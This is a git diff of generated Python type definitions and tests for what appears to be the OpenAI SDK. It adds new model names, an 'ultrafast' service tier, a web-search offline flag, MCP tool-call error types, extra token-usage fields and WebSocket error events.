--- a/src/openai/types/beta/beta_web_search_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_tool_param.py
@@ -61,6 +61,13 @@ class BetaWebSearchToolParam(TypedDict, total=False):
One of `web_search` or `web_search_2025_08_26`.
"""
+ external_web_access: bool
+ """Allow live internet access for web search.
+
+ Defaults to true when omitted. When false, the web search tool runs in
+ offline/cache-only mode and will not fetch new external content.
+ """
+
filters: Optional[Filters]
"""Filters for the search."""
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 6c66b984ae..272147032f 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -19,6 +19,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -107,6 +108,8 @@ class ResponseCompactParams(TypedDict, total=False):
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index b3dd8c362a..b98cb38444 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -131,6 +131,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -219,6 +220,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -318,7 +321,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]]
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -333,6 +336,10 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/completion_usage.py b/src/openai/types/completion_usage.py
index 3f12392c7e..73bd2bccaa 100644
--- a/src/openai/types/completion_usage.py
+++ b/src/openai/types/completion_usage.py
@@ -30,6 +30,9 @@ class CompletionTokensDetails(BaseModel):
and context window limits.
"""
+ text_tokens: Optional[int] = None
+ """Text output tokens generated by the model."""
+
class PromptTokensDetails(BaseModel):
"""Breakdown of tokens used in the prompt."""
@@ -43,6 +46,12 @@ class PromptTokensDetails(BaseModel):
cached_tokens: Optional[int] = None
"""Cached tokens present in the prompt."""
+ image_tokens: Optional[int] = None
+ """Image input tokens present in the prompt."""
+
+ text_tokens: Optional[int] = None
+ """Text input tokens present in the prompt."""
+
class CompletionUsage(BaseModel):
"""Usage statistics for the completion request."""
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index 182553fbba..e2939b984a 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -7,6 +7,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from ..responses.tool import Tool
+from ..responses.mcp_tool_call_error import McpToolCallError
from ..responses.response_reasoning_item import ResponseReasoningItem
from ..responses.response_compaction_item import ResponseCompactionItem
from ..responses.response_custom_tool_call import ResponseCustomToolCall
@@ -261,7 +262,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[McpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/model.py b/src/openai/types/model.py
index 5013627f17..a78bdd4340 100644
--- a/src/openai/types/model.py
+++ b/src/openai/types/model.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Optional
from typing_extensions import Literal
from .._models import BaseModel
@@ -21,3 +22,6 @@ class Model(BaseModel):
owned_by: str
"""The organization that owns the model."""
+
+ shutdown_date: Optional[str] = None
+ """The date when the model will shut down, or null if not announced."""
diff --git a/src/openai/types/responses/__init__.py b/src/openai/types/responses/__init__.py
index 1a7e962bd9..07991b1c5c 100644
--- a/src/openai/types/responses/__init__.py
+++ b/src/openai/types/responses/__init__.py
@@ -48,6 +48,7 @@
from .function_shell_tool import FunctionShellTool as FunctionShellTool
from .function_tool_param import FunctionToolParam as FunctionToolParam
from .inline_skill_source import InlineSkillSource as InlineSkillSource
+from .mcp_tool_call_error import McpToolCallError as McpToolCallError
from .response_includable import ResponseIncludable as ResponseIncludable
from .response_input_file import ResponseInputFile as ResponseInputFile
from .response_input_item import ResponseInputItem as ResponseInputItem
@@ -102,6 +103,7 @@
from .container_reference_param import ContainerReferenceParam as ContainerReferenceParam
from .function_shell_tool_param import FunctionShellToolParam as FunctionShellToolParam
from .inline_skill_source_param import InlineSkillSourceParam as InlineSkillSourceParam
+from .mcp_tool_call_error_param import McpToolCallErrorParam as McpToolCallErrorParam
from .response_audio_done_event import ResponseAudioDoneEvent as ResponseAudioDoneEvent
from .response_custom_tool_call import ResponseCustomToolCall as ResponseCustomToolCall
from .response_incomplete_event import ResponseIncompleteEvent as ResponseIncompleteEvent
diff --git a/src/openai/types/responses/mcp_tool_call_error.py b/src/openai/types/responses/mcp_tool_call_error.py
new file mode 100644
index 0000000000..6a4eed5cce
--- /dev/null
+++ b/src/openai/types/responses/mcp_tool_call_error.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["McpToolCallError", "McpProtocolError", "McpToolExecutionError", "HTTPError"]
+
+
+class McpProtocolError(BaseModel):
+ code: int
+
+ message: str
+
+ type: Literal["mcp_protocol_error"]
+
+
+class McpToolExecutionError(BaseModel):
+ content: object
+
+ type: Literal["mcp_tool_execution_error"]
+
+
+class HTTPError(BaseModel):
+ code: int
+
+ message: str
+
+ type: Literal["http_error"]
+
+
+McpToolCallError: TypeAlias = Annotated[
+ Union[McpProtocolError, McpToolExecutionError, HTTPError], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/responses/mcp_tool_call_error_param.py b/src/openai/types/responses/mcp_tool_call_error_param.py
new file mode 100644
index 0000000000..2e0b26e1d1
--- /dev/null
+++ b/src/openai/types/responses/mcp_tool_call_error_param.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["McpToolCallErrorParam", "McpProtocolError", "McpToolExecutionError", "HTTPError"]
+
+
+class McpProtocolError(TypedDict, total=False):
+ code: Required[int]
+
+ message: Required[str]
+
+ type: Required[Literal["mcp_protocol_error"]]
+
+
+class McpToolExecutionError(TypedDict, total=False):
+ content: Required[object]
+
+ type: Required[Literal["mcp_tool_execution_error"]]
+
+
+class HTTPError(TypedDict, total=False):
+ code: Required[int]
+
+ message: Required[str]
+
+ type: Required[Literal["http_error"]]
+
+
+McpToolCallErrorParam: TypeAlias = Union[McpProtocolError, McpToolExecutionError, HTTPError]
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index 5677322692..762080dc0f 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -401,7 +401,7 @@ class Response(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] = None
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -416,6 +416,10 @@ class Response(BaseModel):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 44ae126968..afd51fc0f6 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -18,6 +18,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -106,6 +107,8 @@ class ResponseCompactParams(TypedDict, total=False):
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index aa50fc730e..6ef0ba9fc7 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -212,7 +212,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]]
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -227,6 +227,10 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index 92cb24559c..e37ea507af 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -9,6 +9,7 @@
from .local_environment import LocalEnvironment
from .easy_input_message import EasyInputMessage
from .container_reference import ContainerReference
+from .mcp_tool_call_error import McpToolCallError
from .response_output_message import ResponseOutputMessage
from .response_reasoning_item import ResponseReasoningItem
from .response_custom_tool_call import ResponseCustomToolCall
@@ -658,7 +659,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[McpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index 7391547d04..d6192ae496 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -10,6 +10,7 @@
from .local_environment_param import LocalEnvironmentParam
from .easy_input_message_param import EasyInputMessageParam
from .container_reference_param import ContainerReferenceParam
+from .mcp_tool_call_error_param import McpToolCallErrorParam
from .response_output_message_param import ResponseOutputMessageParam
from .response_reasoning_item_param import ResponseReasoningItemParam
from .response_custom_tool_call_param import ResponseCustomToolCallParam
@@ -646,7 +647,7 @@ class McpCall(TypedDict, total=False):
corresponding tool call.
"""
- error: Optional[str]
+ error: Optional[McpToolCallErrorParam]
"""The error from the tool call, if any."""
output: Optional[str]
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index 94e2449f0c..c303eb9f6a 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -10,6 +10,7 @@
from .local_environment_param import LocalEnvironmentParam
from .easy_input_message_param import EasyInputMessageParam
from .container_reference_param import ContainerReferenceParam
+from .mcp_tool_call_error_param import McpToolCallErrorParam
from .response_output_message_param import ResponseOutputMessageParam
from .response_reasoning_item_param import ResponseReasoningItemParam
from .response_custom_tool_call_param import ResponseCustomToolCallParam
@@ -647,7 +648,7 @@ class McpCall(TypedDict, total=False):
corresponding tool call.
"""
- error: Optional[str]
+ error: Optional[McpToolCallErrorParam]
"""The error from the tool call, if any."""
output: Optional[str]
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index fedfb5db0e..ae5097f68c 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -6,6 +6,7 @@
from .tool import Tool
from ..._utils import PropertyInfo
from ..._models import BaseModel
+from .mcp_tool_call_error import McpToolCallError
from .response_output_message import ResponseOutputMessage
from .response_reasoning_item import ResponseReasoningItem
from .response_compaction_item import ResponseCompactionItem
@@ -262,7 +263,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[McpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/responses/response_output_item.py b/src/openai/types/responses/response_output_item.py
index 835a184590..8d9e15f929 100644
--- a/src/openai/types/responses/response_output_item.py
+++ b/src/openai/types/responses/response_output_item.py
@@ -6,6 +6,7 @@
from .tool import Tool
from ..._utils import PropertyInfo
from ..._models import BaseModel
+from .mcp_tool_call_error import McpToolCallError
from .response_output_message import ResponseOutputMessage
from .response_reasoning_item import ResponseReasoningItem
from .response_compaction_item import ResponseCompactionItem
@@ -188,7 +189,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[McpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/responses/response_output_item_added_event.py b/src/openai/types/responses/response_output_item_added_event.py
index f8ed8ae326..36ac0e2245 100644
--- a/src/openai/types/responses/response_output_item_added_event.py
+++ b/src/openai/types/responses/response_output_item_added_event.py
@@ -12,7 +12,13 @@ class ResponseOutputItemAddedEvent(BaseModel):
"""Emitted when a new output item is added."""
item: ResponseOutputItem
- """The output item that was added."""
+ """The output item that was added.
+
+ For reasoning items, `encrypted_content` may be incomplete while the item is in
+ progress. Use the reasoning item from the corresponding
+ `response.output_item.done` event when passing it as input to a subsequent
+ request.
+ """
output_index: int
"""The index of the output item that was added."""
diff --git a/src/openai/types/responses/response_output_text_annotation_added_event.py b/src/openai/types/responses/response_output_text_annotation_added_event.py
index 7bae8b3518..6a045ab96c 100644
--- a/src/openai/types/responses/response_output_text_annotation_added_event.py
+++ b/src/openai/types/responses/response_output_text_annotation_added_event.py
@@ -1,17 +1,102 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing_extensions import Literal
+from typing import Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+from ..._utils import PropertyInfo
from ..._models import BaseModel
-__all__ = ["ResponseOutputTextAnnotationAddedEvent"]
+__all__ = [
+ "ResponseOutputTextAnnotationAddedEvent",
+ "Annotation",
+ "AnnotationFileCitation",
+ "AnnotationURLCitation",
+ "AnnotationContainerFileCitation",
+ "AnnotationFilePath",
+]
+
+
+class AnnotationFileCitation(BaseModel):
+ """A citation to a file."""
+
+ file_id: str
+ """The ID of the file."""
+
+ filename: str
+ """The filename of the file cited."""
+
+ index: int
+ """The index of the file in the list of files."""
+
+ type: Literal["file_citation"]
+ """The type of the file citation. Always `file_citation`."""
+
+
+class AnnotationURLCitation(BaseModel):
+ """A citation for a web resource used to generate a model response."""
+
+ end_index: int
+ """The index of the last character of the URL citation in the message."""
+
+ start_index: int
+ """The index of the first character of the URL citation in the message."""
+
+ title: str
+ """The title of the web resource."""
+
+ type: Literal["url_citation"]
+ """The type of the URL citation. Always `url_citation`."""
+
+ url: str
+ """The URL of the web resource."""
+
+
+class AnnotationContainerFileCitation(BaseModel):
+ """A citation for a container file used to generate a model response."""
+
+ container_id: str
+ """The ID of the container file."""
+
+ end_index: int
+ """The index of the last character of the container file citation in the message."""
+
+ file_id: str
+ """The ID of the file."""
+
+ filename: str
+ """The filename of the container file cited."""
+
+ start_index: int
+ """The index of the first character of the container file citation in the message."""
+
+ type: Literal["container_file_citation"]
+ """The type of the container file citation. Always `container_file_citation`."""
+
+
+class AnnotationFilePath(BaseModel):
+ """A path to a file."""
+
+ file_id: str
+ """The ID of the file."""
+
+ index: int
+ """The index of the file in the list of files."""
+
+ type: Literal["file_path"]
+ """The type of the file path. Always `file_path`."""
+
+
+Annotation: TypeAlias = Annotated[
+ Union[AnnotationFileCitation, AnnotationURLCitation, AnnotationContainerFileCitation, AnnotationFilePath, None],
+ PropertyInfo(discriminator="type"),
+]
class ResponseOutputTextAnnotationAddedEvent(BaseModel):
"""Emitted when an annotation is added to output text content."""
- annotation: object
- """The annotation object being added. (See annotation schema for details.)"""
+ annotation: Optional[Annotation] = None
+ """An annotation that applies to a span of output text."""
annotation_index: int
"""The index of the annotation within the content part."""
diff --git a/src/openai/types/responses/response_reasoning_item.py b/src/openai/types/responses/response_reasoning_item.py
index 5d2192ac73..bc2e955295 100644
--- a/src/openai/types/responses/response_reasoning_item.py
+++ b/src/openai/types/responses/response_reasoning_item.py
@@ -53,6 +53,11 @@ class ResponseReasoningItem(BaseModel):
This is populated by default for reasoning items returned by
`POST /v1/responses` and WebSocket `response.create` requests.
+
+ When streaming, use the completed reasoning item and its `encrypted_content`
+ from the `response.output_item.done` event in subsequent requests. The
+ `encrypted_content` in `response.output_item.added` may be incomplete. This is
+ especially important when `store` is `false` or when using Zero Data Retention.
"""
status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
diff --git a/src/openai/types/responses/response_reasoning_item_param.py b/src/openai/types/responses/response_reasoning_item_param.py
index 2cd297ff39..d25b3a8f42 100644
--- a/src/openai/types/responses/response_reasoning_item_param.py
+++ b/src/openai/types/responses/response_reasoning_item_param.py
@@ -53,6 +53,11 @@ class ResponseReasoningItemParam(TypedDict, total=False):
This is populated by default for reasoning items returned by
`POST /v1/responses` and WebSocket `response.create` requests.
+
+ When streaming, use the completed reasoning item and its `encrypted_content`
+ from the `response.output_item.done` event in subsequent requests. The
+ `encrypted_content` in `response.output_item.added` may be incomplete. This is
+ especially important when `store` is `false` or when using Zero Data Retention.
"""
status: Literal["in_progress", "completed", "incomplete"]
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index e40f64bd81..b32cc997a7 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -315,7 +315,7 @@ class ResponsesClientEvent(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] = None
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -330,6 +330,10 @@ class ResponsesClientEvent(BaseModel):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index ddb0cbedac..1c71131998 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -316,7 +316,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]]
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -331,6 +331,10 @@ class ResponsesClientEventParam(TypedDict, total=False):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/responses/responses_server_event.py b/src/openai/types/responses/responses_server_event.py
index 2ae4505366..2f57eeca33 100644
--- a/src/openai/types/responses/responses_server_event.py
+++ b/src/openai/types/responses/responses_server_event.py
@@ -1,10 +1,10 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Union, Optional
-from typing_extensions import Annotated, TypeAlias
+from typing import Dict, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
from ..._utils import PropertyInfo
-from .response_error_event import ResponseErrorEvent
+from ..._models import BaseModel
from .response_failed_event import ResponseFailedEvent
from .response_queued_event import ResponseQueuedEvent
from .response_created_event import ResponseCreatedEvent
@@ -73,7 +73,6 @@
"ResponseContentPartWsAdded",
"ResponseContentPartWsDone",
"ResponseWsCreated",
- "ResponseWsError",
"ResponseFileSearchCallWsCompleted",
"ResponseFileSearchCallInWsProgress",
"ResponseFileSearchCallWsSearching",
@@ -113,6 +112,8 @@
"ResponseWsQueued",
"ResponseCustomToolCallInputWsDelta",
"ResponseCustomToolCallInputWsDone",
+ "ResponseWsError",
+ "ResponseWsErrorError",
]
@@ -259,17 +260,6 @@ class ResponseWsCreated(ResponseCreatedEvent):
"""
-class ResponseWsError(ResponseErrorEvent):
- """Emitted when an error occurs."""
-
- stream_id: Optional[str] = None
- """The WebSocket lane that emitted this event.
-
- This field is present when the originating `response.create` event supplied a
- `stream_id`.
- """
-
-
class ResponseFileSearchCallWsCompleted(ResponseFileSearchCallCompletedEvent):
"""Emitted when a file search call is completed (results found)."""
@@ -707,6 +697,48 @@ class ResponseCustomToolCallInputWsDone(ResponseCustomToolCallInputDoneEvent):
"""
+class ResponseWsErrorError(BaseModel):
+ """Details about the error."""
+
+ code: Optional[str] = None
+ """The error code that was emitted, if any."""
+
+ message: str
+ """The human-readable error message that was emitted."""
+
+ param: Optional[str] = None
+ """The parameter name that was associated with the error, if any."""
+
+ type: str
+ """The error type that was emitted."""
+
+ headers: Optional[Dict[str, str]] = None
+ """The response headers that were emitted with the error, if any."""
+
+
+class ResponseWsError(BaseModel):
+ """Emitted when an error occurs while processing a Responses WebSocket request."""
+
+ error: ResponseWsErrorError
+ """Details about the error."""
+
+ type: Literal["error"]
+ """The type of the event. Always `error`."""
+
+ sequence_number: Optional[int] = None
+ """The sequence number of an error emitted by the response stream."""
+
+ status: Optional[int] = None
+ """The HTTP status code associated with a WebSocket protocol error."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
ResponsesServerEvent: TypeAlias = Annotated[
Union[
ResponseAudioWsDelta,
@@ -722,7 +754,6 @@ class ResponseCustomToolCallInputWsDone(ResponseCustomToolCallInputDoneEvent):
ResponseContentPartWsAdded,
ResponseContentPartWsDone,
ResponseWsCreated,
- ResponseWsError,
ResponseFileSearchCallWsCompleted,
ResponseFileSearchCallInWsProgress,
ResponseFileSearchCallWsSearching,
@@ -762,6 +793,7 @@ class ResponseCustomToolCallInputWsDone(ResponseCustomToolCallInputDoneEvent):
ResponseWsQueued,
ResponseCustomToolCallInputWsDelta,
ResponseCustomToolCallInputWsDone,
+ ResponseWsError,
],
PropertyInfo(discriminator="type"),
]
diff --git a/src/openai/types/responses/web_search_tool.py b/src/openai/types/responses/web_search_tool.py
index 99c9a6bb1a..0fe2fb8f4f 100644
--- a/src/openai/types/responses/web_search_tool.py
+++ b/src/openai/types/responses/web_search_tool.py
@@ -59,6 +59,13 @@ class WebSearchTool(BaseModel):
One of `web_search` or `web_search_2025_08_26`.
"""
+ external_web_access: Optional[bool] = None
+ """Allow live internet access for web search.
+
+ Defaults to true when omitted. When false, the web search tool runs in
+ offline/cache-only mode and will not fetch new external content.
+ """
+
filters: Optional[Filters] = None
"""Filters for the search."""
diff --git a/src/openai/types/responses/web_search_tool_param.py b/src/openai/types/responses/web_search_tool_param.py
index c3b0826a8b..4ecb7b86fa 100644
--- a/src/openai/types/responses/web_search_tool_param.py
+++ b/src/openai/types/responses/web_search_tool_param.py
@@ -61,6 +61,13 @@ class WebSearchToolParam(TypedDict, total=False):
One of `web_search` or `web_search_2025_08_26`.
"""
+ external_web_access: bool
+ """Allow live internet access for web search.
+
+ Defaults to true when omitted. When false, the web search tool runs in
+ offline/cache-only mode and will not fetch new external content.
+ """
+
filters: Optional[Filters]
"""Filters for the search."""
diff --git a/src/openai/types/shared/all_models.py b/src/openai/types/shared/all_models.py
index e7274ab9fc..8db004bcf5 100644
--- a/src/openai/types/shared/all_models.py
+++ b/src/openai/types/shared/all_models.py
@@ -21,6 +21,8 @@
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index 7cac1805bb..75fa64b597 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -9,6 +9,7 @@
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
diff --git a/src/openai/types/shared/responses_model.py b/src/openai/types/shared/responses_model.py
index a68cbdf881..460087a867 100644
--- a/src/openai/types/shared/responses_model.py
+++ b/src/openai/types/shared/responses_model.py
@@ -21,6 +21,8 @@
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index ffaa0dd7fe..4dba345a1d 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -11,6 +11,7 @@
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
diff --git a/src/openai/types/shared_params/responses_model.py b/src/openai/types/shared_params/responses_model.py
index 2dfcd9c644..19e301efc7 100644
--- a/src/openai/types/shared_params/responses_model.py
+++ b/src/openai/types/shared_params/responses_model.py
@@ -23,6 +23,8 @@
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
diff --git a/tests/lib/chat/test_completions.py b/tests/lib/chat/test_completions.py
index 609c4dbe4e..864260a61c 100644
--- a/tests/lib/chat/test_completions.py
+++ b/tests/lib/chat/test_completions.py
@@ -82,7 +82,8 @@ def test_parse_nothing(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pyt
accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=14,
prompt_tokens_details=None,
@@ -152,7 +153,8 @@ class Location(BaseModel):
accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=79,
prompt_tokens_details=None,
@@ -224,7 +226,8 @@ class Location(BaseModel):
accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=88,
prompt_tokens_details=None,
@@ -431,7 +434,8 @@ class CalendarEvent:
accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=92,
prompt_tokens_details=None,
@@ -905,7 +909,8 @@ class Location(BaseModel):
accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=79,
prompt_tokens_details=None,
@@ -983,7 +988,8 @@ class Location(BaseModel):
